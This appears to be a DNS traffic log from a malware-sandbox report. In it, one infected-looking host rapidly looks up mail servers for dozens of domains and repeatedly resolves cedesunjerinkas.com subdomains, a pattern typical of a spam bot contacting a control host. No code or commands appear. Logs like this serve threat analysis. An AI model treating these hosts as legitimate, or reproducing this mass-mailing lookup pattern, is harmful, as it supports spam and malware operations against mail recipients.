Jan 7, 2022 15:55:44.204952955 CET	192.168.2.3	8.8.8.8	0x164c	Standard query (0)	oopp.pl	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.206906080 CET	192.168.2.3	8.8.8.8	0xc228	Standard query (0)	fajrant.qz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.207350016 CET	192.168.2.3	8.8.8.8	0x62a9	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.209279060 CET	192.168.2.3	8.8.8.8	0xa24a	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.222526073 CET	192.168.2.3	8.8.8.8	0x6dd9	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.223059893 CET	192.168.2.3	8.8.8.8	0x3d9c	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.227482080 CET	192.168.2.3	8.8.8.8	0xca0b	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.236176968 CET	192.168.2.3	8.8.8.8	0x3e6a	Standard query (0)	contoso.es	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.237520933 CET	192.168.2.3	8.8.8.8	0xfb8c	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.258604050 CET	192.168.2.3	8.8.8.8	0x325d	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.259979010 CET	192.168.2.3	8.8.8.8	0x2369	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.261163950 CET	192.168.2.3	8.8.8.8	0xf695	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.282438993 CET	192.168.2.3	8.8.8.8	0x6dbe	Standard query (0)	contoso.mx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.285518885 CET	192.168.2.3	8.8.8.8	0x5fee	Standard query (0)	aspmx5.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.297875881 CET	192.168.2.3	8.8.8.8	0x5dbf	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.312906027 CET	192.168.2.3	8.8.8.8	0x2f20	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.329122066 CET	192.168.2.3	8.8.8.8	0x43cd	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.331231117 CET	192.168.2.3	8.8.8.8	0x1576	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.349735975 CET	192.168.2.3	8.8.8.8	0x9f9b	Standard query (0)	aspmx4.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.385799885 CET	192.168.2.3	8.8.8.8	0x4da9	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.563731909 CET	192.168.2.3	8.8.8.8	0x234f	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.584153891 CET	192.168.2.3	8.8.8.8	0x5246	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:44.626013994 CET	192.168.2.3	8.8.8.8	0x3128	Standard query (0)	litwareinc.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:44.646326065 CET	192.168.2.3	8.8.8.8	0x454b	Standard query (0)	smtp.litwareinc.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:45.096987963 CET	192.168.2.3	8.8.8.8	0xe646	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:45.127214909 CET	192.168.2.3	8.8.8.8	0x10ad	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:45.148349047 CET	192.168.2.3	8.8.8.8	0xe5c0	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:45.470385075 CET	192.168.2.3	8.8.8.8	0x5230	Standard query (0)	litwareinc.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:45.491283894 CET	192.168.2.3	8.8.8.8	0x6853	Standard query (0)	smtp.litwareinc.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:47.665671110 CET	192.168.2.3	8.8.8.8	0x76a9	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:47.693093061 CET	192.168.2.3	8.8.8.8	0xc634	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:48.265024900 CET	192.168.2.3	8.8.8.8	0x41bf	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:48.310071945 CET	192.168.2.3	8.8.8.8	0xa03a	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:49.206502914 CET	192.168.2.3	8.8.8.8	0x26ed	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:49.243634939 CET	192.168.2.3	8.8.8.8	0x6583	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:51.243804932 CET	192.168.2.3	8.8.8.8	0x476b	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:51.720060110 CET	192.168.2.3	8.8.8.8	0xe86a	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:51.748081923 CET	192.168.2.3	8.8.8.8	0x712b	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:54.564945936 CET	192.168.2.3	8.8.8.8	0x7d59	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:00.234392881 CET	192.168.2.3	8.8.8.8	0x42ae	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.815443993 CET	192.168.2.3	8.8.8.8	0xa213	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.815614939 CET	192.168.2.3	8.8.8.8	0x870d	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.833625078 CET	192.168.2.3	8.8.8.8	0x9820	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.835469007 CET	192.168.2.3	8.8.8.8	0x460c	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.908675909 CET	192.168.2.3	8.8.8.8	0xb699	Standard query (0)	cohowinery.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.940629005 CET	192.168.2.3	8.8.8.8	0x4505	Standard query (0)	negdje.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.971370935 CET	192.168.2.3	8.8.8.8	0x263d	Standard query (0)	abcdef.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.003693104 CET	192.168.2.3	8.8.8.8	0x8ea1	Standard query (0)	vlada.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.024266958 CET	192.168.2.3	8.8.8.8	0x743a	Standard query (0)	ma-02.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.066032887 CET	192.168.2.3	8.8.8.8	0xdcbf	Standard query (0)	ma-01.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.084238052 CET	192.168.2.3	8.8.8.8	0x94b6	Standard query (0)	mail.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.111594915 CET	192.168.2.3	8.8.8.8	0xb260	Standard query (0)	netko.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.142735004 CET	192.168.2.3	8.8.8.8	0x633e	Standard query (0)	tvrtka.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.174410105 CET	192.168.2.3	8.8.8.8	0x52cb	Standard query (0)	dva.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.236953974 CET	192.168.2.3	8.8.8.8	0xb0ee	Standard query (0)	mail.dva.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.409379005 CET	192.168.2.3	8.8.8.8	0x530b	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.409432888 CET	192.168.2.3	8.8.8.8	0x6806	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.430088997 CET	192.168.2.3	8.8.8.8	0x8820	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.432018995 CET	192.168.2.3	8.8.8.8	0x8074	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.502734900 CET	192.168.2.3	8.8.8.8	0xa6be	Standard query (0)	cohowinery.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.519298077 CET	192.168.2.3	8.8.8.8	0x90d8	Standard query (0)	negdje.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.519346952 CET	192.168.2.3	8.8.8.8	0xb482	Standard query (0)	arb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.549925089 CET	192.168.2.3	8.8.8.8	0x436e	Standard query (0)	abcdef.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.551568031 CET	192.168.2.3	8.8.8.8	0x6e68	Standard query (0)	vlada.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.551584005 CET	192.168.2.3	8.8.8.8	0xcf1d	Standard query (0)	antispam.hosting-zdarma.cz	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.570312977 CET	192.168.2.3	8.8.8.8	0xf9af	Standard query (0)	ma-01.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.581324100 CET	192.168.2.3	8.8.8.8	0x836	Standard query (0)	netko.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.594235897 CET	192.168.2.3	8.8.8.8	0x6d93	Standard query (0)	ma-02.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.613193035 CET	192.168.2.3	8.8.8.8	0x6946	Standard query (0)	tvrtka.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.615134954 CET	192.168.2.3	8.8.8.8	0x401e	Standard query (0)	mail.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.643440962 CET	192.168.2.3	8.8.8.8	0x138	Standard query (0)	dva.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.659380913 CET	192.168.2.3	8.8.8.8	0x323d	Standard query (0)	abcdefg.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.666443110 CET	192.168.2.3	8.8.8.8	0x47bc	Standard query (0)	mail.dva.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.721653938 CET	192.168.2.3	8.8.8.8	0xadb0	Standard query (0)	ektro.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.752662897 CET	192.168.2.3	8.8.8.8	0x828e	Standard query (0)	fb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.774190903 CET	192.168.2.3	8.8.8.8	0x83a7	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.796077013 CET	192.168.2.3	8.8.8.8	0x582a	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.824923992 CET	192.168.2.3	8.8.8.8	0x61e0	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.847337008 CET	192.168.2.3	8.8.8.8	0x832	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.871165991 CET	192.168.2.3	8.8.8.8	0xd608	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.908813953 CET	192.168.2.3	8.8.8.8	0xd957	Standard query (0)	tek-astore.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.939879894 CET	192.168.2.3	8.8.8.8	0xf548	Standard query (0)	somemail.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.971323013 CET	192.168.2.3	8.8.8.8	0x4555	Standard query (0)	abc.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.995194912 CET	192.168.2.3	8.8.8.8	0x6443	Standard query (0)	cluster10.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.017906904 CET	192.168.2.3	8.8.8.8	0xb7c7	Standard query (0)	cluster10a.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.221201897 CET	192.168.2.3	8.8.8.8	0x4904	Standard query (0)	arb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.240601063 CET	192.168.2.3	8.8.8.8	0xaafd	Standard query (0)	antispam.hosting-zdarma.cz	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.362143040 CET	192.168.2.3	8.8.8.8	0xa9cd	Standard query (0)	abcdefg.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.393251896 CET	192.168.2.3	8.8.8.8	0x23a6	Standard query (0)	ektro.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.424639940 CET	192.168.2.3	8.8.8.8	0x989	Standard query (0)	fb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.451452017 CET	192.168.2.3	8.8.8.8	0xc55	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.480288982 CET	192.168.2.3	8.8.8.8	0xda2c	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.500161886 CET	192.168.2.3	8.8.8.8	0x63cd	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.521331072 CET	192.168.2.3	8.8.8.8	0x3ec2	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.542438984 CET	192.168.2.3	8.8.8.8	0x46	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.612216949 CET	192.168.2.3	8.8.8.8	0x3225	Standard query (0)	emaiserver.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.643207073 CET	192.168.2.3	8.8.8.8	0x34c7	Standard query (0)	oricine.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.674031973 CET	192.168.2.3	8.8.8.8	0xeb87	Standard query (0)	worldwideoffices.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.706322908 CET	192.168.2.3	8.8.8.8	0x1b84	Standard query (0)	cineva.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.721374989 CET	192.168.2.3	8.8.8.8	0xb757	Standard query (0)	tek-astore.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.727288008 CET	192.168.2.3	8.8.8.8	0x70d4	Standard query (0)	mail.h-email.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.753148079 CET	192.168.2.3	8.8.8.8	0xcd9b	Standard query (0)	somemail.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.787329912 CET	192.168.2.3	8.8.8.8	0x693a	Standard query (0)	abc.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.809813976 CET	192.168.2.3	8.8.8.8	0x3c68	Standard query (0)	cluster10.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.835026979 CET	192.168.2.3	8.8.8.8	0x349a	Standard query (0)	cluster10a.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.018992901 CET	192.168.2.3	8.8.8.8	0xc1a	Standard query (0)	emaiserver.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.049411058 CET	192.168.2.3	8.8.8.8	0x7b13	Standard query (0)	orice.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.049479961 CET	192.168.2.3	8.8.8.8	0xe48c	Standard query (0)	oricine.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.074618101 CET	192.168.2.3	8.8.8.8	0x11f5	Standard query (0)	mxbck.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.080513954 CET	192.168.2.3	8.8.8.8	0x727b	Standard query (0)	worldwideoffices.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.112353086 CET	192.168.2.3	8.8.8.8	0x177d	Standard query (0)	cineva.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.116641998 CET	192.168.2.3	8.8.8.8	0x349e	Standard query (0)	mx.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.138776064 CET	192.168.2.3	8.8.8.8	0x594b	Standard query (0)	mail.h-email.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.471203089 CET	192.168.2.3	8.8.8.8	0x9e19	Standard query (0)	orice.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.580559015 CET	192.168.2.3	8.8.8.8	0x63bb	Standard query (0)	ppp.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.603359938 CET	192.168.2.3	8.8.8.8	0x1232	Standard query (0)	ppp.ro	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.800044060 CET	192.168.2.3	8.8.8.8	0x5ad4	Standard query (0)	orice.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.820458889 CET	192.168.2.3	8.8.8.8	0x4e3f	Standard query (0)	mx.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.863652945 CET	192.168.2.3	8.8.8.8	0x10b5	Standard query (0)	mxbck.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.892875910 CET	192.168.2.3	8.8.8.8	0x2a0b	Standard query (0)	orice.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:08.018807888 CET	192.168.2.3	8.8.8.8	0xac6e	Standard query (0)	ppp.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:08.037128925 CET	192.168.2.3	8.8.8.8	0x7149	Standard query (0)	ppp.ro	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:09.111766100 CET	192.168.2.3	8.8.8.8	0xa064	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:09.143359900 CET	192.168.2.3	8.8.8.8	0x7262	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:09.169200897 CET	192.168.2.3	8.8.8.8	0x255a	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:09.987123966 CET	192.168.2.3	8.8.8.8	0x1a73	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.018511057 CET	192.168.2.3	8.8.8.8	0xa4d5	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.050004005 CET	192.168.2.3	8.8.8.8	0x950d	Standard query (0)	users.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.080823898 CET	192.168.2.3	8.8.8.8	0xa736	Standard query (0)	domini.cat	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.100595951 CET	192.168.2.3	8.8.8.8	0x9cb5	Standard query (0)	domini-cat.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.207573891 CET	192.168.2.3	8.8.8.8	0x7dbf	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:13.353727102 CET	192.168.2.3	8.8.8.8	0x85e2	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 7, 2022 15:53:53.997405052 CET	8.8.8.8	192.168.2.3	0x683c	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:53.997405052 CET	8.8.8.8	192.168.2.3	0x683c	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:53.997405052 CET	8.8.8.8	192.168.2.3	0x683c	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.044673920 CET	8.8.8.8	192.168.2.3	0xbc14	No error (0)	mta5.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.084255934 CET	8.8.8.8	192.168.2.3	0x1655	No error (0)	mta6.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.104088068 CET	8.8.8.8	192.168.2.3	0xd940	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.112106085 CET	8.8.8.8	192.168.2.3	0x6474	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.264120102 CET	8.8.8.8	192.168.2.3	0x8e10	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.264120102 CET	8.8.8.8	192.168.2.3	0x8e10	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.264120102 CET	8.8.8.8	192.168.2.3	0x8e10	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.264120102 CET	8.8.8.8	192.168.2.3	0x8e10	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.264120102 CET	8.8.8.8	192.168.2.3	0x8e10	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.293869019 CET	8.8.8.8	192.168.2.3	0xbb9c	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.372792959 CET	8.8.8.8	192.168.2.3	0xea2	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.395924091 CET	8.8.8.8	192.168.2.3	0xaa11	No error (0)	gmail-smtp-in.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.419430971 CET	8.8.8.8	192.168.2.3	0xaeb4	No error (0)	alt2.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.445152044 CET	8.8.8.8	192.168.2.3	0x9f49	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.497411966 CET	8.8.8.8	192.168.2.3	0xccaf	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:53:54.523252010 CET	8.8.8.8	192.168.2.3	0x821e	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.57.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.523252010 CET	8.8.8.8	192.168.2.3	0x821e	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.56.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:53:54.697768927 CET	8.8.8.8	192.168.2.3	0xc3ae	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:00.312943935 CET	8.8.8.8	192.168.2.3	0x9677	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:00.333906889 CET	8.8.8.8	192.168.2.3	0x6fe8	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:00.505827904 CET	8.8.8.8	192.168.2.3	0x821b	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:00.525170088 CET	8.8.8.8	192.168.2.3	0xa2c	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.298125029 CET	8.8.8.8	192.168.2.3	0xe42f	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.298125029 CET	8.8.8.8	192.168.2.3	0xe42f	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.319050074 CET	8.8.8.8	192.168.2.3	0x2d82	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.338588953 CET	8.8.8.8	192.168.2.3	0xc422	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
